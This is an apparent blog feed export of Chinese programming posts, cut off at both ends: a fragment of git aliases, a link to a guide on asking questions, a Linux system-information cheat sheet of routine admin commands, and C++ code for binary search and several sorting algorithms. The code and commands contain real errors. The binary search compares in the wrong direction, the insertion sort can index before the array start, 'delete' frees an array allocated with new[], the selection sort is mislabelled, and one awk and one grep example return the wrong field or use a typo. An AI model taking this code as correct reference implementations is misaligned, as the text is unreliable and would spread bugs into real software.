alias gmt="</span><span class="n">git</span> <span class="n">commit</span> <span class="o">-</span><span class="n">m</span><span class="s">"
alias ga="</span><span class="n">git</span> <span class="n">add</span> <span class="p">.</span><span class="s">"
alias gp="</span><span class="n">git</span> <span class="n">push</span><span class="s">"</span></code></pre></figure>
提问的智慧
2014-03-17T00:00:00+00:00
http://fish267.github.io/2014/03/17/how-to-ask
<p>在<a href="http://wiki.woodpecker.org.cn/moin/AskForHelp">啄木鸟社区</a>上发现了一个非常好的帖子—-<strong>提问的智慧</strong>, 里面阐述了各种菜鸟应当具备的提问技巧, 对我的启发真的挺大的.</p>
<p>很多事情的处理, 都无处不影射着自己的为人, 下面这个大图谱是关于提问的总结:
<!--more--></p>
<p><img src="http://wiki.woodpecker.org.cn/moin/AskForHelp?action=AttachFile&do=get&target=question.jpeg" alt="" /></p>
Linux基本查询信息
2014-03-13T00:00:00+00:00
http://fish267.github.io/2014/03/13/hardware-info-of-linux
<p>阅读别人的Python代码时, 留意了一下他对 cpu 使用率, 内存占用的计算流程,就记录在了笔记上, 现在分享一下。</p>
<p>无非是 Linux 自带的命令显示, 文章末给出了经常应用的一个 cheat~
#检测内存信息
在终端输入<code> free </code>, 出来一大堆:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fish@Love67:~$ free
total used free shared buffers cached
Mem: 3857400 2868708 988692 0 288856 1322584
-/+ buffers/cache: 1257268 2600132
Swap: 3999740 0 3999740
</code></pre></div></div>
<!--more-->
<p>在 free 命令添加参数 -m ,是以 MB 单位现实内存的大小, 很明显, 我们需要的是第二行 Mem 的前两列数据。使用管道命令,
<code>grep -i mem</code>, <code>-i </code> 是忽略大小写。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Mem: 3857400 2868708 988692 0 288856 1322584
</code></pre></div></div>
<p>然后,使用 awk 命令来摘选出前两个数据, 看看 gawk 的定义:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>awk: reads standard input and writes standard output
</code></pre></div></div>
<p>综上,具体命令如下:</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh">free <span class="nt">-m</span> | <span class="nb">grep</span> <span class="nt">-i</span> mem | <span class="nb">awk</span> <span class="o">{</span><span class="s1">'print $1'</span><span class="o">}</span></code></pre></figure>
<p>上面 $0 代表的是整个一行, $1 是第一个数据,依次往后~
#检测 CPU 信息
本来是想着写 <code> cat /proc/stat </code> 的方法来着, 原代码就是根据显示的数据进行采样, 然后计算 cpu 使用率。
刚刚觉得, 还是使用 top 命令吧, 这个耳熟能详的,平易近人。</p>
<p>只更新一次就退出的 top 指令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>top -n 1
</code></pre></div></div>
<p>显示 cpu 的使用率如下:</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh">top <span class="nt">-n</span> 1 | <span class="nb">grep</span> <span class="nt">-i</span> cpu | <span class="nb">awk</span> <span class="o">{</span><span class="s1">'print $2'</span><span class="o">}</span></code></pre></figure>
<p>其实这么说来, 利用 top 命令显示内存也更容易了:</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh">top <span class="nt">-n</span> 1 | <span class="nb">grep </span>Men | <span class="nb">awk</span> <span class="o">{</span><span class="s1">'print $4'</span><span class="o">}</span></code></pre></figure>
<p>#下面是速查命令
##系统</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><span class="c"># uname -a # 查看内核/操作系统/CPU信息</span>
<span class="c"># cat /etc/issue # 查看操作系统版本</span>
<span class="c"># hostname # 查看计算机名</span>
<span class="c"># cat /proc/cpuinfo # 查看CPU信息</span>
<span class="c"># lspci -tv # 列出所有PCI设备</span>
<span class="c"># lsusb -tv # 列出所有USB设备</span>
<span class="c"># lsmod # 列出加载的内核模块</span>
<span class="c"># env # 查看环境变量</span></code></pre></figure>
<p>##资源</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><span class="c"># free -m # 查看内存使用量和交换区使用量</span>
<span class="c"># df -h # 查看各分区使用情况</span>
<span class="c"># du -sh <目录名> # 查看指定目录的大小</span>
<span class="c"># grep MemTotal /proc/meminfo # 查看内存总量</span>
<span class="c"># grep MemFree /proc/meminfo # 查看空闲内存量</span>
<span class="c"># uptime # 查看系统运行时间、用户数、负载</span>
<span class="c"># cat /proc/loadavg # 查看系统负载</span></code></pre></figure>
<p>##磁盘和分区</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><span class="c"># mount | column -t # 查看挂接的分区状态</span>
<span class="c"># fdisk -l # 查看所有分区</span>
<span class="c"># swapon -s # 查看所有交换分区</span>
<span class="c"># hdparm -i /dev/hda # 查看磁盘参数(仅适用于IDE设备)</span>
<span class="c"># dmesg | grep IDE # 查看启动时IDE设备检测状况</span></code></pre></figure>
<p>##网络</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><span class="c"># ifconfig # 查看所有网络接口的属性</span>
<span class="c"># iptables -L # 查看防火墙设置</span>
<span class="c"># route -n # 查看路由表</span>
<span class="c"># netstat -lntp # 查看所有监听端口</span>
<span class="c"># netstat -antp # 查看所有已经建立的连接</span>
<span class="c"># netstat -s # 查看网络统计信息</span></code></pre></figure>
<p>##进程和服务</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><span class="c"># ps -ef # 查看所有进程</span>
<span class="c"># top # 动态显示进程</span>
<span class="c"># chkconfig --list # 列出所有系统服务</span>
<span class="c"># chkconfig --list | grep on # 启动的服务</span></code></pre></figure>
<p>##用户</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><span class="c"># w # 查看活动用户</span>
<span class="c"># id <用户名> # 查看指定用户信息</span>
<span class="c"># last # 查看用户登录日志</span>
<span class="c"># cut -d: -f1 /etc/passwd # 查看系统所有用户</span>
<span class="c"># cut -d: -f1 /etc/group # 查看系统所有组</span>
<span class="c"># crontab -l # 查看当前用户的计划任务</span></code></pre></figure>
<p>#END</p>
各大排序总结
2014-03-04T00:00:00+00:00
http://fish267.github.io/2014/03/04/kinds-of-sort
<p>昨天为了准备一个公司的实习招聘笔试, 看了一晚上的面试宝典, 书上的排序算法挺多, 但是有些繁琐, 自己重新总结了一下.</p>
<p>具体的排序算法介绍, 随后补充, 今天先贴代码, 注释和解释有空了添加进来:
<!--more--></p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include <iostream>
#include <cstdlib>
</span><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
<span class="c1">// 初始化数组</span>
<span class="kt">void</span> <span class="nf">initArray</span><span class="p">(</span><span class="kt">int</span> <span class="n">array</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">len</span><span class="p">,</span> <span class="kt">int</span> <span class="n">max</span><span class="p">){</span>
<span class="n">srand</span><span class="p">(</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="n">max</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">//display</span>
<span class="kt">void</span> <span class="nf">display</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">array</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o"><<</span> <span class="s">" "</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">//二分法查找</span>
<span class="kt">int</span> <span class="nf">binarySearch</span><span class="p">(</span><span class="kt">int</span> <span class="n">array</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">len</span><span class="p">,</span> <span class="kt">int</span> <span class="n">searchData</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">start</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">end</span> <span class="o">=</span> <span class="n">len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="n">start</span> <span class="o"><</span> <span class="n">end</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">mid</span> <span class="o">=</span> <span class="p">(</span><span class="n">start</span> <span class="o">+</span> <span class="n">end</span> <span class="p">)</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">array</span><span class="p">[</span><span class="n">mid</span><span class="p">]</span> <span class="o">==</span> <span class="n">searchData</span><span class="p">)</span>
<span class="k">return</span> <span class="n">mid</span><span class="p">;</span>
<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">array</span><span class="p">[</span><span class="n">mid</span><span class="p">]</span> <span class="o">></span> <span class="n">searchData</span><span class="p">)</span>
<span class="n">start</span> <span class="o">=</span> <span class="n">mid</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">end</span> <span class="o">=</span> <span class="n">mid</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">//交换数组中两个元素</span>
<span class="kt">void</span> <span class="nf">swap</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">array</span><span class="p">,</span> <span class="kt">int</span> <span class="n">pos1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">pos2</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="n">pos1</span><span class="p">];</span>
<span class="n">array</span><span class="p">[</span><span class="n">pos1</span><span class="p">]</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="n">pos2</span><span class="p">];</span>
<span class="n">array</span><span class="p">[</span><span class="n">pos2</span><span class="p">]</span> <span class="o">=</span> <span class="n">temp</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/************************************/</span>
<span class="kt">void</span> <span class="nf">BubbleSort</span><span class="p">(</span><span class="kt">int</span> <span class="n">array</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="n">j</span> <span class="o"><</span> <span class="n">len</span><span class="p">;</span> <span class="n">j</span> <span class="o">++</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">></span> <span class="n">array</span><span class="p">[</span><span class="n">j</span><span class="p">])</span>
<span class="n">swap</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/************************************/</span>
<span class="kt">void</span> <span class="nf">SelectSort</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">array</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="n">j</span> <span class="o"><</span> <span class="n">len</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">min</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="n">min</span> <span class="o">></span> <span class="n">array</span><span class="p">[</span><span class="n">j</span><span class="p">])</span>
<span class="n">swap</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/************************************/</span>
<span class="kt">void</span> <span class="nf">InsertSort</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">array</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">j</span> <span class="o"><</span> <span class="n">len</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">){</span>
<span class="k">for</span><span class="p">(;</span> <span class="n">j</span> <span class="o">>=</span> <span class="mi">0</span> <span class="o">&&</span> <span class="n">array</span><span class="p">[</span><span class="n">j</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">></span> <span class="n">array</span><span class="p">[</span><span class="n">j</span><span class="p">];</span> <span class="n">j</span><span class="o">--</span><span class="p">)</span>
<span class="n">swap</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">j</span> <span class="p">,</span> <span class="n">j</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/************************************/</span>
<span class="kt">int</span> <span class="nf">Split</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">array</span><span class="p">,</span> <span class="kt">int</span> <span class="n">start</span><span class="p">,</span> <span class="kt">int</span> <span class="n">end</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="n">end</span><span class="p">];</span>
<span class="k">while</span><span class="p">(</span><span class="n">start</span> <span class="o"><</span> <span class="n">end</span><span class="p">){</span>
<span class="k">while</span><span class="p">(</span><span class="n">array</span><span class="p">[</span><span class="n">start</span><span class="p">]</span> <span class="o"><</span> <span class="n">temp</span><span class="p">)</span>
<span class="n">start</span><span class="o">++</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="n">array</span><span class="p">[</span><span class="n">end</span><span class="p">]</span> <span class="o">></span> <span class="n">temp</span><span class="p">)</span>
<span class="n">end</span><span class="o">--</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">array</span><span class="p">[</span><span class="n">start</span><span class="p">]</span> <span class="o">==</span> <span class="n">array</span><span class="p">[</span><span class="n">end</span><span class="p">])</span>
<span class="n">start</span><span class="o">++</span><span class="p">;</span>
<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">start</span> <span class="o"><</span> <span class="n">end</span><span class="p">)</span>
<span class="n">swap</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">end</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">QuickSort</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">array</span><span class="p">,</span> <span class="kt">int</span> <span class="n">start</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">end</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">start</span> <span class="o"><</span> <span class="n">end</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">Split</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">);</span>
<span class="n">QuickSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">temp</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">QuickSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">temp</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">end</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/************************************/</span>
<span class="kt">void</span> <span class="nf">ShellSort</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">array</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">gap</span> <span class="o">=</span> <span class="n">len</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span> <span class="n">gap</span> <span class="o">></span> <span class="mi">0</span><span class="p">;</span> <span class="n">gap</span> <span class="o">/=</span> <span class="mi">2</span><span class="p">)</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">gap</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="n">i</span> <span class="o">-</span> <span class="n">gap</span><span class="p">;</span> <span class="n">j</span> <span class="o">>=</span><span class="mi">0</span> <span class="o">&&</span> <span class="n">array</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">></span> <span class="n">array</span><span class="p">[</span><span class="n">j</span> <span class="o">+</span> <span class="n">gap</span><span class="p">];</span> <span class="n">j</span> <span class="o">-=</span> <span class="n">gap</span><span class="p">)</span>
<span class="n">swap</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">j</span> <span class="o">+</span> <span class="n">gap</span><span class="p">);</span>
<span class="p">}</span>
<span class="cm">/************************************
fake code:
go on mergesort:
if n < 2:
return
else:
sort the left half
sort the right half
merge two above
*************************************/</span>
<span class="kt">void</span> <span class="nf">MergeArray</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">array</span><span class="p">,</span> <span class="kt">int</span> <span class="n">start</span><span class="p">,</span> <span class="kt">int</span> <span class="n">mid</span><span class="p">,</span> <span class="kt">int</span> <span class="n">end</span><span class="p">){</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">int</span><span class="p">[</span><span class="n">end</span> <span class="o">-</span> <span class="n">start</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">start</span><span class="p">,</span> <span class="n">j</span> <span class="o">=</span> <span class="n">mid</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="n">i</span> <span class="o"><=</span> <span class="n">mid</span> <span class="o">&&</span> <span class="n">j</span> <span class="o"><=</span> <span class="n">end</span><span class="p">)</span>
<span class="n">p</span><span class="p">[</span><span class="n">k</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o"><=</span> <span class="n">array</span><span class="p">[</span><span class="n">j</span><span class="p">]</span><span class="o">?</span> <span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="o">++</span><span class="p">]</span> <span class="o">:</span> <span class="n">array</span><span class="p">[</span><span class="n">j</span><span class="o">++</span><span class="p">];</span>
<span class="k">while</span><span class="p">(</span><span class="n">i</span> <span class="o"><=</span> <span class="n">mid</span><span class="p">)</span>
<span class="n">p</span><span class="p">[</span><span class="n">k</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="o">++</span><span class="p">];</span>
<span class="k">while</span><span class="p">(</span><span class="n">j</span> <span class="o"><=</span> <span class="n">end</span><span class="p">)</span>
<span class="n">p</span><span class="p">[</span><span class="n">k</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="n">j</span><span class="o">++</span><span class="p">];</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">t</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">t</span> <span class="o"><</span> <span class="n">k</span><span class="p">;</span> <span class="n">t</span><span class="o">++</span><span class="p">)</span>
<span class="n">array</span><span class="p">[</span><span class="n">start</span> <span class="o">+</span> <span class="n">t</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="n">t</span><span class="p">];</span>
<span class="k">delete</span> <span class="n">p</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">MergeSort</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">array</span><span class="p">,</span> <span class="kt">int</span> <span class="n">start</span><span class="p">,</span> <span class="kt">int</span> <span class="n">end</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">start</span> <span class="o"><</span> <span class="n">end</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">mid</span> <span class="o">=</span> <span class="p">(</span><span class="n">start</span> <span class="o">+</span> <span class="n">end</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">MergeSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">mid</span><span class="p">);</span>
<span class="n">MergeSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">mid</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">end</span><span class="p">);</span>
<span class="n">MergeArray</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">mid</span><span class="p">,</span> <span class="n">end</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/************************************/</span>
<span class="c1">//还没看懂,稍后补充</span>
<span class="kt">void</span> <span class="nf">BuildMaxHeap</span><span class="p">(</span><span class="kt">int</span> <span class="n">p</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">size</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">DeleteMax</span><span class="p">(</span><span class="kt">int</span> <span class="n">p</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">size</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">PercolateDown</span><span class="p">(</span><span class="kt">int</span> <span class="n">array</span><span class="p">[],</span><span class="kt">int</span> <span class="n">hole</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">HeapSort</span><span class="p">(</span><span class="kt">int</span> <span class="n">p</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">BuildMaxHeap</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">>=</span><span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">--</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">DeleteMax</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">BuildMaxHeap</span><span class="p">(</span><span class="kt">int</span> <span class="n">p</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">//由于所有树叶无需进行下滤(没有孩子), 所以只对0 - size/2的结点进行下滤即可。</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="n">size</span><span class="o">/</span><span class="mi">2</span><span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">>=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">--</span><span class="p">)</span>
<span class="n">PercolateDown</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">DeleteMax</span><span class="p">(</span><span class="kt">int</span> <span class="n">p</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">tmp</span><span class="p">;</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="n">size</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>
<span class="n">p</span><span class="p">[</span><span class="n">size</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">;</span>
<span class="n">PercolateDown</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">--</span><span class="n">size</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">PercolateDown</span><span class="p">(</span><span class="kt">int</span> <span class="n">array</span><span class="p">[],</span><span class="kt">int</span> <span class="n">hole</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">tmp</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="n">hole</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">child</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(;</span> <span class="p">(</span><span class="n">hole</span><span class="o">*</span><span class="mi">2</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o"><=</span><span class="p">(</span><span class="n">size</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="n">hole</span><span class="o">=</span><span class="n">child</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">child</span> <span class="o">=</span> <span class="n">hole</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">child</span><span class="o"><</span><span class="n">size</span><span class="o">-</span><span class="mi">1</span> <span class="o">&&</span> <span class="p">(</span><span class="n">array</span><span class="p">[</span><span class="n">child</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">></span> <span class="n">array</span><span class="p">[</span><span class="n">child</span><span class="p">]))</span>
<span class="n">child</span><span class="o">++</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">array</span><span class="p">[</span><span class="n">child</span><span class="p">]</span><span class="o">></span><span class="n">tmp</span><span class="p">)</span>
<span class="n">array</span><span class="p">[</span><span class="n">hole</span><span class="p">]</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="n">child</span><span class="p">];</span>
<span class="k">else</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">array</span><span class="p">[</span><span class="n">hole</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/*************************************************************/</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="k">const</span> <span class="kt">int</span> <span class="n">SIZE</span> <span class="o">=</span> <span class="mi">15</span><span class="p">;</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">array</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">int</span><span class="p">[</span><span class="n">SIZE</span><span class="p">];</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"BubbleSort: "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">initArray</span><span class="p">(</span><span class="n">array</span><span class="p">,</span><span class="n">SIZE</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">BubbleSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"************************"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
